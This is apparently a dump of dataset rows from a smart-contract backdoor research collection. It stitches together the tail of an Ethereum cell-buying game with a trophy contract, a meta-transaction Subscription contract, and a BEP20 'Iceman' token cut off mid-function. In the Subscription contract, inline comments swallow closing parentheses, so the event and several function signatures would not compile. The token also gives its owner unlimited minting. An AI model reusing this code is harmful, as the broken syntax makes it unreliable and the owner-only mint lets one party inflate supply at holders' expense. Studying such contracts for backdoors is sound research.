} else if (scoreOf(ranking[i]) == scoreOf(rankOnePlayer) && players[ranking[i]].lastCellBoughtOnBlockNumber > players[rankOnePlayer].lastCellBoughtOnBlockNumber) {
rankOnePlayer = ranking[i];
}
if (ranking[i] == _oldOwner) {
oldOwnerIndex = i;
}
}
return (rankOnePlayer, oldOwnerIndex);
}
function buy (uint256 _cellId, address _referreal) payable public {
require(msg.value >= priceOf(_cellId));
require(!isContract(msg.sender));
require(_cellId < NUMBER_OF_CELLS);
require(msg.sender != address(0));
require(!isGameFinished());
require(ownerOf(_cellId) != msg.sender);
require(msg.sender != _referreal);
address oldOwner = ownerOf(_cellId);
address newOwner = msg.sender;
uint256 price = priceOf(_cellId);
uint256 excess = msg.value.sub(price);
bool isReferrealDistributed = distributeToReferreal(price, _referreal);
if (numberOfCellsBought > 0) {
harmonicSum = harmonicSum.add(price.mul(NUMBER_OF_CELLS_PERCENTAGE) / (numberOfCellsBought * 100));
if (isReferrealDistributed) {
totalScoreSum = totalScoreSum.add(price.mul(SCORE_PERCENTAGE) / (totalScore * 100));
} else {
totalScoreSum = totalScoreSum.add(price.mul(SCORE_PERCENTAGE.add(REFERREAL_PERCENTAGE)) / (totalScore * 100));
}
}else{
potCut = potCut.add(price.mul(NUMBER_OF_CELLS_PERCENTAGE.add(SCORE_PERCENTAGE)) / 100);
}
numberOfCellsBought++;
distributeEarningsBasedOnNumberOfCells(newOwner);
players[newOwner].numberOfCellsBought++;
players[newOwner].numberOfCellsOwned++;
if (ownerOf(_cellId) != address(0)) {
players[oldOwner].numberOfCellsOwned--;
}
players[newOwner].lastCellBoughtOnBlockNumber = block.number;
address oldRankOnePlayer = rankOnePlayerAddress;
(uint256 newOwnerScore, uint256 oldOwnerScore) = calculateScoresIfCellIsBought(newOwner, oldOwner, _cellId);
distributeEarningsBasedOnScore(newOwner, oldOwner);
totalScore = totalScore.sub(scoreOf(newOwner).add(scoreOf(oldOwner)));
players[newOwner].score = newOwnerScore;
players[oldOwner].score = oldOwnerScore;
totalScore = totalScore.add(scoreOf(newOwner).add(scoreOf(oldOwner)));
cells[_cellId].price = nextPriceOf(_cellId);
if (players[newOwner].numberOfCellsOwned == 1) {
ranking.push(newOwner);
}
if (oldOwner == rankOnePlayerAddress || (players[oldOwner].numberOfCellsOwned == 0 && oldOwner != address(0))) {
(address rankOnePlayer, uint256 oldOwnerIndex) = getRankOnePlayer(oldOwner);
if (players[oldOwner].numberOfCellsOwned == 0 && oldOwner != address(0)) {
delete ranking[oldOwnerIndex];
}
rankOnePlayerAddress = rankOnePlayer;
}else{
if (scoreOf(newOwner) >= scoreOf(rankOnePlayerAddress)) {
rankOnePlayerAddress = newOwner;
}
}
if (rankOnePlayerAddress != oldRankOnePlayer) {
isFirstSinceBlock = block.number;
}
developersCut = developersCut.add(price.mul(DEVELOPER_PERCENTAGE) / 100);
potCut = potCut.add(price.mul(POT_PERCENTAGE) / 100);
_transfer(oldOwner, newOwner, _cellId);
emit Bought(oldOwner, newOwner);
if (excess > 0) {
newOwner.transfer(excess);
}
}
function distributeToReferreal (uint256 _price, address _referreal) internal returns (bool _isDstributed) {
if (_referreal != address(0) && _referreal != msg.sender) {
players[msg.sender].referreal = _referreal;
}
if (players[msg.sender].referreal != address(0)) {
address ref = players[msg.sender].referreal;
players[ref].earnings = players[ref].earnings.add(_price.mul(REFERREAL_PERCENTAGE) / 100);
return true;
}
return false;
}
function getPlayers () external view returns(uint256[] _scores, uint256[] _lastCellBoughtOnBlock, address[] _addresses, bytes32[] _names) {
uint256[] memory scores = new uint256[](ranking.length);
address[] memory addresses = new address[](ranking.length);
uint256[] memory lastCellBoughtOnBlock = new uint256[](ranking.length);
bytes32[] memory names = new bytes32[](ranking.length);
for (uint256 i = 0; i < ranking.length; i++) {
Player memory p = players[ranking[i]];
scores[i] = p.score;
addresses[i] = ranking[i];
lastCellBoughtOnBlock[i] = p.lastCellBoughtOnBlockNumber;
names[i] = p.name;
}
return (scores, lastCellBoughtOnBlock, addresses, names);
}
function getCells () external view returns (uint256[] _prices, uint256[] _nextPrice, address[] _owner, bytes32[] _names) {
uint256[] memory prices = new uint256[](NUMBER_OF_CELLS);
address[] memory owners = new address[](NUMBER_OF_CELLS);
bytes32[] memory names = new bytes32[](NUMBER_OF_CELLS);
uint256[] memory nextPrices = new uint256[](NUMBER_OF_CELLS);
for (uint256 i = 0; i < NUMBER_OF_CELLS; i++) {
prices[i] = priceOf(i);
owners[i] = ownerOf(i);
names[i] = players[ownerOf(i)].name;
nextPrices[i] = nextPriceOf(i);
}
return (prices, nextPrices, owners, names);
}
function getPlayer () external view returns (bytes32 _name, uint256 _score, uint256 _earnings, uint256 _numberOfCellsBought) {
return (players[msg.sender].name, players[msg.sender].score, earningsOfPlayer(), players[msg.sender].numberOfCellsBought);
}
function getCurrentPotSize () public view returns (uint256 _wei) {
return potCut;
}
function getCurrentWinner () public view returns (address _address) {
return rankOnePlayerAddress;
}
function getNumberOfBlocksRemainingToWin () public view returns (int256 _numberOfBlocks) {
return int256(BLOCKS_TO_CONFIRM_TO_WIN_THE_GAME) - int256(block.number.sub(isFirstSinceBlock));
}
function scoreOf (address _address) public view returns (uint256 _score) {
return players[_address].score;
}
function ownerOf (uint256 _cellId) public view returns (address _owner) {
return cells[_cellId].owner;
}
function isGameFinished() public view returns (bool _isGameFinished) {
return rankOnePlayerAddress != address(0) && getNumberOfBlocksRemainingToWin() < 0;
}
function calculateScoresIfCellIsBought (address _newOwner, address _oldOwner, uint256 _cellId) internal view returns (uint256 _newOwnerScore, uint256 _oldOwnerScore) {
uint256 oldOwnerScoreAdjustment = DEFAULT_POINTS_PER_CELL;
uint256 newOwnerScoreAdjustment = DEFAULT_POINTS_PER_CELL;
oldOwnerScoreAdjustment = oldOwnerScoreAdjustment.add(calculateNumberOfNeighbours(_cellId, _oldOwner).mul(POINTS_PER_NEIGHBOUR).mul(2));
newOwnerScoreAdjustment = newOwnerScoreAdjustment.add(calculateNumberOfNeighbours(_cellId, _newOwner).mul(POINTS_PER_NEIGHBOUR).mul(2));
if (_oldOwner == address(0)) {
oldOwnerScoreAdjustment = 0;
}
return (scoreOf(_newOwner).add(newOwnerScoreAdjustment), scoreOf(_oldOwner).sub(oldOwnerScoreAdjustment));
}
function calculateNumberOfNeighbours(uint256 _cellId, address _address) internal view returns (uint256 _numberOfNeighbours) {
uint256 numberOfNeighbours;
(uint256 top, uint256 bottom, uint256 left, uint256 right) = getNeighbourhoodOf(_cellId);
if (top != NUMBER_OF_CELLS && ownerOf(top) == _address) {
numberOfNeighbours = numberOfNeighbours.add(1);
}
if (bottom != NUMBER_OF_CELLS && ownerOf(bottom) == _address) {
numberOfNeighbours = numberOfNeighbours.add(1);
}
if (left != NUMBER_OF_CELLS && ownerOf(left) == _address) {
numberOfNeighbours = numberOfNeighbours.add(1);
}
if (right != NUMBER_OF_CELLS && ownerOf(right) == _address) {
numberOfNeighbours = numberOfNeighbours.add(1);
}
return numberOfNeighbours;
}
function getNeighbourhoodOf(uint256 _cellId) internal pure returns (uint256 _top, uint256 _bottom, uint256 _left, uint256 _right) {
uint256 topCellId = NUMBER_OF_CELLS;
if(_cellId >= NUMBER_OF_LINES){
topCellId = _cellId.sub(NUMBER_OF_LINES);
}
uint256 bottomCellId = _cellId.add(NUMBER_OF_LINES);
if (bottomCellId >= NUMBER_OF_CELLS) {
bottomCellId = NUMBER_OF_CELLS;
}
uint256 leftCellId = NUMBER_OF_CELLS;
if ((_cellId % NUMBER_OF_LINES) != 0) {
leftCellId = _cellId.sub(1);
}
uint256 rightCellId = _cellId.add(1);
if ((rightCellId % NUMBER_OF_LINES) == 0) {
rightCellId = NUMBER_OF_CELLS;
}
return (topCellId, bottomCellId, leftCellId, rightCellId);
}
function _transfer(address _from, address _to, uint256 _cellId) internal {
require(_cellId < NUMBER_OF_CELLS);
require(ownerOf(_cellId) == _from);
require(_to != address(0));
require(_to != address(this));
cells[_cellId].owner = _to;
}
function withdrawPot(string _message) public {
require(!isContract(msg.sender));
require(msg.sender != owner);
require(rankOnePlayerAddress == msg.sender);
require(isGameFinished());
uint256 toWithdraw = potCut;
potCut = 0;
msg.sender.transfer(toWithdraw);
TheEthGameTrophy trophy = TheEthGameTrophy(trophyAddress);
trophy.award(msg.sender, _message);
}
function withdrawDevelopersCut () onlyOwner() public {
uint256 toWithdraw = developersCut;
developersCut = 0;
owner.transfer(toWithdraw);
}
function withdrawEarnings () public {
distributeEarningsBasedOnScore(msg.sender, address(0));
distributeEarningsBasedOnNumberOfCells(msg.sender);
uint256 toWithdraw = earningsOfPlayer();
players[msg.sender].earnings = 0;
msg.sender.transfer(toWithdraw);
}
function setName(bytes32 _name) public {
if (nameToAddress[_name] != address(0)) {
return;
}
players[msg.sender].name = _name;
nameToAddress[_name] = msg.sender;
}
function nameOf(address _address) external view returns(bytes32 _name) {
return players[_address].name;
}
function addressOf(bytes32 _name) external view returns (address _address) {
return nameToAddress[_name];
}
function isContract(address addr) internal view returns (bool) {
uint size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract TheEthGameTrophy {
string public name;
string public description;
string public message;
address public creator;
address public owner;
address public winner;
uint public rank;
bool private isAwarded = false;
event Award(uint256 indexed _blockNumber, uint256 indexed _timestamp, address indexed _owner);
event Transfer (address indexed _from, address indexed _to);
constructor () public {
name = "The Eth Game Winner";
description = "2019-08-17";
rank = 1;
creator = msg.sender;
}
function name() constant public returns (string _name) {
return name;
}
function description() constant public returns (string _description) {
return description;
}
function message() constant public returns (string _message) {
return message;
}
function creator() constant public returns (address _creator) {
return creator;
}
function owner() constant public returns (address _owner) {
return owner;
}
function winner() constant public returns (address _winner) {
return winner;
}
function rank() constant public returns (uint _rank) {
return rank;
}
function award(address _address, string _message) public {
require(msg.sender == creator && !isAwarded);
isAwarded = true;
owner = _address;
winner = _address;
message = _message;
emit Award(block.number, block.timestamp, _address);
}
function transfer(address _to) private returns (bool success) {
require(msg.sender == owner);
owner = _to;
emit Transfer(msg.sender, _to);
return true;
}
}
| 167,273 | 13,557 |
84bef6f9671e1b4c225777aa7fc42c5b98638c791437a85fc3b07b11b757d486
| 24,552 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xb4076d570bd84af0257e3f1c3a40920a5aa033dd.sol
| 4,149 | 17,252 |
pragma solidity ^0.4.24;
library ECDSA {
function recover(bytes32 hash, bytes signature)
internal
pure
returns (address)
{
bytes32 r;
bytes32 s;
uint8 v;
// Check the signature length
if (signature.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solium-disable-next-line security/no-inline-assembly
assembly {
r := mload(add(signature, 32))
s := mload(add(signature, 64))
v := byte(0, mload(add(signature, 96)))
}
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
// solium-disable-next-line arg-overflow
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash)
internal
pure
returns (bytes32)
{
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(address indexed from,
address indexed to,
uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner,
address spender)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
require(value <= _balances[msg.sender]);
require(to != address(0));
_balances[msg.sender] = _balances[msg.sender].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from,
address to,
uint256 value)
public
returns (bool)
{
require(value <= _balances[from]);
require(value <= _allowed[from][msg.sender]);
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
emit Transfer(from, to, value);
return true;
}
function increaseAllowance(address spender,
uint256 addedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].add(addedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender,
uint256 subtractedValue)
public
returns (bool)
{
require(spender != address(0));
_allowed[msg.sender][spender] = (_allowed[msg.sender][spender].sub(subtractedValue));
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _mint(address account, uint256 amount) internal {
require(account != 0);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != 0);
require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
require(amount <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(amount);
_burn(account, amount);
}
}
contract Subscription {
using ECDSA for bytes32;
using SafeMath for uint256;
//who deploys the contract
address public author;
// the publisher may optionally deploy requirements for the subscription
// so only meta transactions that match the requirements can be relayed
address public requiredToAddress;
address public requiredTokenAddress;
uint256 public requiredTokenAmount;
uint256 public requiredPeriodSeconds;
uint256 public requiredGasPrice;
// similar to a nonce that avoids replay attacks this allows a single execution
// every x seconds for a given subscription
// subscriptionHash => next valid block number
mapping(bytes32 => uint256) public nextValidTimestamp;
//we'll use a nonce for each from but because transactions can go through
//multiple times, we allow anything but users can use this as a signal for
//uniqueness
mapping(address => uint256) public extraNonce;
event ExecuteSubscription(address indexed from, //the subscriber
address indexed to, //the publisher
address tokenAddress, //the token address paid to the publisher
uint256 tokenAmount, //the token amount paid to the publisher
uint256 periodSeconds, //the period in seconds between payments
uint256 gasPrice, //the amount of tokens to pay relayer (0 for free)
uint256 nonce // to allow multiple subscriptions with the same parameters);
constructor(address _toAddress,
address _tokenAddress,
uint256 _tokenAmount,
uint256 _periodSeconds,
uint256 _gasPrice) public {
requiredToAddress=_toAddress;
requiredTokenAddress=_tokenAddress;
requiredTokenAmount=_tokenAmount;
requiredPeriodSeconds=_periodSeconds;
requiredGasPrice=_gasPrice;
author=msg.sender;
}
// this is used by external smart contracts to verify on-chain that a
// particular subscription is "paid" and "active"
// there must be a small grace period added to allow the publisher
// or desktop miner to execute
function isSubscriptionActive(bytes32 subscriptionHash,
uint256 gracePeriodSeconds)
external
view
returns (bool)
{
return (block.timestamp <=
nextValidTimestamp[subscriptionHash].add(gracePeriodSeconds));
}
// given the subscription details, generate a hash and try to kind of follow
// the eip-191 standard and eip-1077 standard from my dude @avsa
function getSubscriptionHash(address from, //the subscriber
address to, //the publisher
address tokenAddress, //the token address paid to the publisher
uint256 tokenAmount, //the token amount paid to the publisher
uint256 periodSeconds, //the period in seconds between payments
uint256 gasPrice, //the amount of tokens or eth to pay relayer (0 for free)
uint256 nonce // to allow multiple subscriptions with the same parameters)
public
view
returns (bytes32)
{
return keccak256(abi.encodePacked(byte(0x19),
byte(0),
address(this),
from,
to,
tokenAddress,
tokenAmount,
periodSeconds,
gasPrice,
nonce));
}
//ecrecover the signer from hash and the signature
function getSubscriptionSigner(bytes32 subscriptionHash, //hash of subscription
bytes signature //proof the subscriber signed the meta trasaction)
public
pure
returns (address)
{
return subscriptionHash.toEthSignedMessageHash().recover(signature);
}
//check if a subscription is signed correctly and the timestamp is ready for
// the next execution to happen
function isSubscriptionReady(address from, //the subscriber
address to, //the publisher
address tokenAddress, //the token address paid to the publisher
uint256 tokenAmount, //the token amount paid to the publisher
uint256 periodSeconds, //the period in seconds between payments
uint256 gasPrice, //the amount of the token to incentivize the relay network
uint256 nonce,// to allow multiple subscriptions with the same parameters
bytes signature //proof the subscriber signed the meta trasaction)
external
view
returns (bool)
{
bytes32 subscriptionHash = getSubscriptionHash(from, to, tokenAddress, tokenAmount, periodSeconds, gasPrice, nonce);
address signer = getSubscriptionSigner(subscriptionHash, signature);
uint256 allowance = ERC20(tokenAddress).allowance(from, address(this));
uint256 balance = ERC20(tokenAddress).balanceOf(from);
return (signer == from &&
from != to &&
block.timestamp >= nextValidTimestamp[subscriptionHash] &&
allowance >= tokenAmount.add(gasPrice) &&
balance >= tokenAmount.add(gasPrice));
}
// you don't really need this if you are using the approve/transferFrom method
// because you control the flow of tokens by approving this contract address,
// but to make the contract an extensible example for later user I'll add this
function cancelSubscription(address from, //the subscriber
address to, //the publisher
address tokenAddress, //the token address paid to the publisher
uint256 tokenAmount, //the token amount paid to the publisher
uint256 periodSeconds, //the period in seconds between payments
uint256 gasPrice, //the amount of tokens or eth to pay relayer (0 for free)
uint256 nonce, //to allow multiple subscriptions with the same parameters
bytes signature //proof the subscriber signed the meta trasaction)
external
returns (bool success)
{
bytes32 subscriptionHash = getSubscriptionHash(from, to, tokenAddress, tokenAmount, periodSeconds, gasPrice, nonce);
address signer = getSubscriptionSigner(subscriptionHash, signature);
//the signature must be valid
require(signer == from, "Invalid Signature for subscription cancellation");
//nextValidTimestamp should be a timestamp that will never
//be reached during the brief window human existence
nextValidTimestamp[subscriptionHash]=uint256(-1);
return true;
}
// execute the transferFrom to pay the publisher from the subscriber
// the subscriber has full control by approving this contract an allowance
function executeSubscription(address from, //the subscriber
address to, //the publisher
address tokenAddress, //the token address paid to the publisher
uint256 tokenAmount, //the token amount paid to the publisher
uint256 periodSeconds, //the period in seconds between payments
uint256 gasPrice, //the amount of tokens or eth to pay relayer (0 for free)
uint256 nonce, // to allow multiple subscriptions with the same parameters
bytes signature //proof the subscriber signed the meta trasaction)
public
returns (bool success)
{
// make sure the subscription is valid and ready
// pulled this out so I have the hash, should be exact code as "isSubscriptionReady"
bytes32 subscriptionHash = getSubscriptionHash(from, to, tokenAddress, tokenAmount, periodSeconds, gasPrice, nonce);
address signer = getSubscriptionSigner(subscriptionHash, signature);
//make sure they aren't sending to themselves
require(to != from, "Can not send to the from address");
//the signature must be valid
require(signer == from, "Invalid Signature");
//timestamp must be equal to or past the next period
require(block.timestamp >= nextValidTimestamp[subscriptionHash],
"Subscription is not ready");
// if there are requirements from the deployer, let's make sure
// those are met exactly
require(requiredToAddress == address(0) || to == requiredToAddress);
require(requiredTokenAddress == address(0) || tokenAddress == requiredTokenAddress);
require(requiredTokenAmount == 0 || tokenAmount == requiredTokenAmount);
require(requiredPeriodSeconds == 0 || periodSeconds == requiredPeriodSeconds);
require(requiredGasPrice == 0 || gasPrice == requiredGasPrice);
//increment the timestamp by the period so it wont be valid until then
nextValidTimestamp[subscriptionHash] = block.timestamp.add(periodSeconds);
//check to see if this nonce is larger than the current count and we'll set that for this 'from'
if(nonce > extraNonce[from]){
extraNonce[from] = nonce;
}
// now, let make the transfer from the subscriber to the publisher
ERC20(tokenAddress).transferFrom(from,to,tokenAmount);
require(checkSuccess(),
"Subscription::executeSubscription TransferFrom failed");
emit ExecuteSubscription(from, to, tokenAddress, tokenAmount, periodSeconds, gasPrice, nonce);
// it is possible for the subscription execution to be run by a third party
// incentivized in the terms of the subscription with a gasPrice of the tokens
// - pay that out now...
if (gasPrice > 0) {
//the relayer is incentivized by a little of the same token from
// the subscriber ... as far as the subscriber knows, they are
// just sending X tokens to the publisher, but the publisher can
// choose to send Y of those X to a relayer to run their transactions
// the publisher will receive X - Y tokens
// this must all be setup in the constructor
// if not, the subscriber chooses all the params including what goes
// to the publisher and what goes to the relayer
ERC20(tokenAddress).transferFrom(from, msg.sender, gasPrice);
require(checkSuccess(),
"Subscription::executeSubscription Failed to pay gas as from account");
}
return true;
}
// because of issues with non-standard erc20s the transferFrom can always return false
// to fix this we run it and then check the return of the previous function:
// https://github.com/ethereum/solidity/issues/4116
function checkSuccess()
private
pure
returns (bool)
{
uint256 returnValue = 0;
assembly {
// check number of bytes returned from last function call
switch returndatasize
// no bytes returned: assume success
case 0x0 {
returnValue := 1
}
// 32 bytes returned: check if non-zero
case 0x20 {
// copy 32 bytes into scratch space
returndatacopy(0x0, 0x0, 0x20)
// load those bytes into returnValue
returnValue := mload(0x0)
}
// not sure what was returned: dont mark as success
default { }
}
return returnValue != 0;
}
}
| 146,619 | 13,558 |
7c21781eccf4ff2c3166ea15a86c74a9aa6f016e2c24824aa562e51e8b22fd15
| 39,241 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/05/05725ad1d4ec2c2e27b1e25db788f03ba151b0d7_iceman.sol
| 4,951 | 19,682 |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash
= 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount,
"Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}("");
require(success,
"Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return
functionCallWithValue(target,
data,
value,
"Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value,
"Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 500;
string private _name = "Iceman Finance";
string private _symbol = "ICE";
uint8 private _decimals = 18;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount,
"BEP20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue,
"BEP20: decreased allowance below zero"));
return true;
}
function mint(uint256 amount) public onlyOwner returns (bool) {
_mint(_msgSender(), amount);
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount,
"BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "BEP20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(amount,
